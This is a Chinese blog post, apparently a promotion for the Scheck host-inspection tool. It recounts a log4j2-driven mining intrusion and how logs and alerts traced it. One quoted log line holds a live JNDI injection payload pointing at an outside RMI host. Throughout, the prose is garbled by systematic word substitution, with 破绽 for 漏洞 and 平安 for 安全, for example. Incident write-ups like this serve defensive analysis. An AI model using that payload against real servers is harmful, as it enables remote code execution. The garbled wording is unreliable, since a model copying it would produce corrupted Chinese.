共计 1549 个字符，预计需要花费 4 分钟才能阅读完成。
简介
2021 年底，技术圈被 log4j2 破绽掀起巨浪，各大平安公司纷纷发文介绍该破绽的危害，并给出了各种长期解决方案。还有一些博主也发表文章教咱们如何找到易受攻击的中央，并采取相应的进攻措施。还有大量帖子跟着起哄，探讨如何采纳一些不必要的进攻技术。12 月 29 日，咱们就发现了一起由 log4j2 破绽引发的挖矿事件。
惊险时刻
收到平安告警事件还是要从一条告警说起。12 月 29 日 18:59，公司钉钉平安告警信息, 亲！df_solution_ecs_002 存在 2 个 warn。因为 warn 级别的告警不是很重大，所以过后咱们没有太在意。
收到服务器 CPU 99% 告警 19:34:00 收到平安告警 30 分钟后，钉钉群内忽然收到 CPU 飙升的告警。告警来的猝不及防，零碎运行很长时间，怎么突发产生这种情况。
发现可疑过程于是，咱们连忙登录咱们的观测平台查看服务器根底信息。cpu 使用率太高了吧！同时咱们发现过程监控中有 5 个歹意过程 CPU 使用率为 100%。此刻咱们才发现，我主机应该被挖矿了。马上告诉相干共事进行解决，将歹意过程敞开。
追踪溯源歹意过程解决实现后，心中一阵后怕，老大也下达了要查明事变起因的命令。此刻我一阵头大，我怎么查病毒入口？忽然，脑中灵光一闪想到了刚刚平安告警。于是关上了平安巡检的页面，果然病毒注入留下了蛛丝马迹被 Scheck 巡检工具捕捉到。在 12/29 18:52 的时候产生 5 个以上的 warn 平安告警事件，首先 18:52 病毒增加了免密登录，18:57 增加了一个用户，之后有增加了二进制文件等等。
晓得了入侵工夫，我打算在 18:40～18:53 之间查看一些冲破，观测云能够依据过后工夫查看过后服务器的状态，指标，还有日志。
终于在 18:54 左右的时候发现了这条日志，2021-12-29 18:50:23.906+0000 [id=66628] request param ${jndi:rmi://67.220.90.132:30023/test}0 ms。这不是那个最近这火的 log4j 2 的破绽么！！！67.220.90.132 地址还是美国加利福尼亚洛杉矶的。
最初，综合这些线索，我画了个工夫图，发现黑客进行攻打的时候，咱们 Scheck 就曾经将歹意行为上报到了观测平台并进行告警。在那时，只是咱们没有及时关注，还好我能够通过对立观测平台，进行剖析和观测发现了源头。
强烈推荐
经验了此次事件，要感激观测云的平安巡检工具 Scheck，让我度过这次难关。服务器被入侵不可怕，可怕的不晓得你是如何和入侵，黑客对主机做了哪些歹意操作，Scheck 能够实时监控主机安全事件。此软件安全可靠，反对二次开发，开源。是一款在运行用户本地机器上的一种平安巡检工具。
咱们为什么举荐应用 Scheck
1、平安
Scheck 是款开源软件，你能够放心使用。开源地址：https://github.com/GuanceClou… 中的 Lua 不能引入第三方库，间接的文件 IO 也是被禁止的，只能通过 Golang 封装的 Lua 接口能力对文件进行读取
2、高度一致的跨平台可用性
在支流的 Linux、Windows 上均可间接应用无需思考平台兼容性数据可观测性 Scheck 的巡检后果，能够间接导入观测云，也能够导入阿里云 SLS 日志
3、可扩展性
用户能够自定义新的巡检脚本，通过二次开发入口 即可不便的开发出新巡检脚本。Scheck 的作用到底是什么 Scheck 作为一款运行用户本地机器上的一种平安巡检工具，他不做平安防护，但他们能够提前感知你的操作是否平安，主机被入侵时，黑客的歹意行为都会被 Scheck 上报。你能够本人剖析和观测，目前没有相对平安的软件来保障你主机平安，然而 Scheck 能够保障黑客或其余的不平安的操作都会被记录和上报。
这就是咱们强烈推荐 Scheck 起因！
